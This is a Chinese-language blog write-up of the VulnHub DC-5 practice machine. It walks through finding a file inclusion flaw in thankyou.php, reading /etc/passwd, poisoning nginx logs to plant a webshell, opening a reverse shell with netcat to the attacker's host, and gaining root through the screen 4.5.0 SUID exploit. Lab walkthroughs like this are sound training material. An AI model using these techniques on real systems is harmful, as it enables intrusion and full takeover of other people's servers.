vulnhub-DC5靶机练习


靶机下载地址
https://download.vulnhub.com/dc/DC-5.zip
1、信息收集
arp-scan -l

使用nmap工具对DC-5靶机扫描开放的端口,开放端口有80(http)、111、41363

然后进行web指纹识别

使用浏览器打开靶机网址,页面如下
http://192.168.13.135/

发现有一个留言板,随便输入一下并提交
http://192.168.13.135/contact.php

提交完成之后发现切入点
页面跳转到Thankyou.php,并且在URL地址栏可以看到参数,GET方式传参,而且Copyright@2017变成2020了,想到可能存在文件包含
http://192.168.13.135/thankyou.php?firstname=aaaa&lastname=bbbb&country=australia&subject=cccc

2、bp爆破
使用BurpSuite抓包,爆破其他页面

从github找一个php字典下载,然后导入即可
https://github.com/TheKingOfDuck/fuzzDicts/tree/master

发现存在几个页面

打开这几个页面,发现发开footer.php时,不断刷新,图标也在不断地变化,确认文件包含页面是footer.php

选择草叉模式进行爆破,选择两个爆破点,一个是文件包含变量名,一个是包含值

导入第一个字典,变量名字典
接着导入第二个字典(passwd路径字典),即可开始爆破

成功爆破出六对值,但只有一个变量名

访问最短的
http://192.168.13.135/thankyou.php?file=%2fetc%2fpasswd
http://192.168.13.135/thankyou.php?file=/etc/passwd

3、确认日志文件的位置
由于前面信息收集我们确认了是nginx的站,访问日志和错误日志应该如下
web日志目录及日志分析
https://blog.csdn.net/qq_36119192/article/details/102956230
/var/log/nginx/access.log
/var/log/nginx/error.log
nginx服务器的默认配置文件是/etc/nginx/nginx.conf

然后包含看一下
http://192.168.13.135/thankyou.php?file=/var/log/nginx/access.log

GET HTTP/1.1

重新打开日志文件可以看到成功写入,成功回显出phpinfo信息

写入webshell
GET HTTP/1.1

测试连接成功,点击添加

http://192.168.13.135/thankyou.php?file=/var/tmp/shell.php


再多做一个shell

4、反弹shell
使用蚁剑虚拟终端反弹shell到kali
nc -e /bin/bash 192.168.13.129 4567

在kali监听4567端口接收shell

使用python脚本开启交互模式
python -c ‘import pty;pty.spawn(“/bin/bash”)’

5、权限提升
find / -perm /4000 2>dev/null

发现screen-4.5.0比较可疑,尝试用searchsploit搜索是否存在漏洞
searchsploit screen 4.5.0

找出411454.sh的绝对路径

按照文件的说明,可分为三部分,将第一个框里内容保存为第一文件,名为libhax.c,然后使用黄色选取的命令编译,编译结束会生成libhax.so文件。
第二个框里内容保存为rootshell.c文件,使用黄色选区的命令编译,编译结束后生成rootshell文件。
将第三个框里内容保存为第三个文件,保存为run.sh 。 这个名字随意。
cat /usr/share/exploitdb/exploits/linux/local/41154.sh

第一个文件

第二个文件

第三个文件

把文件拖进来,注意是/tmp下,拖进来刷新一下,就能看到文件了

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

这个时候可以把libhax.c和rootshell.c这两个文件删除 ,因为已经编译好了,留他们也没有用了

进到kali的python交互shell里,切换到/tmp目录下
运行run.sh 输入bash ./run.sh 提权

运行run.sh后,可以看到由之前的$号变成了#号
$号代表普通用户,#代表管理员

进到/root查看有无flag,可以进行whoami查看我是谁
cd /root
ls
cat thisistheflag.txt

总结:
信息收集
主机发现 netdiscouver
端口扫描 nmap
目录爆破 dirsearch
漏洞利用
bp抓包分析footer.php,有文件包含漏洞
木马上传,查看日志
反弹shell
python交互shell
提权
find / -user root -perm /4000 2>/dev/null
searchsploit screen 4.5.0
libhax.c和rootshell.c文件的编译 run.sh
bash ./run.sh 提权
文章参考
https://blog.csdn.net/ZhaoSong_/article/details/132136074?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-8-132136074-blog-102769923.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.5&utm_relevant_index=11


文章作者: Luoruiy
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Luoruiy !
赏
  目录